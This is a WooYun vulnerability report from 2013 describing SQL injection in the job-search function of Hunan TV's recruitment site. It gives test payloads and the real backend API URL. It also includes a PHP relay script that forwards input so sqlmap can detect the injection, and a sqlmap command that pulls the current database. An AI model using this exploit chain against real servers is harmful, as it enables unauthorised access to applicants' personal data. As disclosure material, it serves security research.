当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-045678

漏洞标题：湖南卫视招聘网站sql注入

相关厂商：湖南卫视快乐阳光

漏洞作者： 路人甲

提交时间：2013-12-12 16:35

修复时间：2014-03-12 16:36

公开时间：2014-03-12 16:36

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-12： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-03-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

招聘岗位的搜索框位置存在注入，可能会导致人员信息的泄漏
危害虽然不高，但是有注入总归还是不爽吧？
小菜求邀请码一枚。。。。嘿嘿！

详细说明：

网址http://corp.hunantv.com/jobs/在搜索框中输入q%' and 1=1 and '%'=' 和 q%' and 1=2 and '%'=' 可以初步判断出这是一枚搜索型注入。基本的注入工具如穿山甲和sqlmap等，都无法直接注入。手工注入不实际，但是经过对页面js代码和数据包的分析。了解到页面利用了异步数据传输从http://act.hunantv.com/cmsapi/job.php处请求json数据。由于是异步传输数据，sqlmap等工具无法识别页面的不同，导致无法注入。
于是利用php中转脚本，直接从http://act.hunantv.com/cmsapi/job.php处请求json数据。代码如下

<html>
<head>
</head>
<body>
<?php
$key=$_GET['k'];
$newurl = urlencode(urlencode($key)); //url编码2次
$URL="http://act.hunantv.com/cmsapi/job.php?type=0&key=";
$json=file_get_contents($URL.$newurl); //json数据
echo '<p>'.$json.'</p>';  //这样sqlmap就能识别了
?>
</body>
</html>


这时就可以用sqlmap注入了：./sqlmap.py -u"http://192.168.66.150/hunan.php?k=q" -p"k" --prefix="%'" --suffix=" and '%'='" --current-db

漏洞证明：

hunantv.jpg

修复方案：

过滤输入数据吧。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝